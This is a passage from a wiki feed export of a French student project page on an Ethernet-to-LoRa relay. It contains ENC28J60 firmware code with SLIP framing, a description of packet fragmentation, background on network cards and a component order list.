	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
Pour réussir cette idée, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, lorsque les fonctions de SPI sont déjà définies dans les fonctions dans la librairie de l'enc28j60 au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet pour LoRa ne fait que 64 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet du paquet. La dernière case est réservée pour dire le numéro du fragment et vérifier si c'est la fin du paquet. Au niveau de la réception, si le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un, le récepteur va s'arrêter de capter des paquets.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39309</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39309"/>
				<updated>2017-02-19T16:10:42Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. ENC28J60 est Microship Technology récemment introduit controleur Ethernet autonome à 28 broches. La plupart des controleur Ethernet actuellement sur le marché sont plus de paquet à 80 broches, et sont conformes au protocole ENC28J60 IEEE802.3 seulement 28 broches, à la fois pour fournir la fonctionnalité appropriée, et peuvent grandement simplifier la conception connexes, réduisant l’espace. &lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
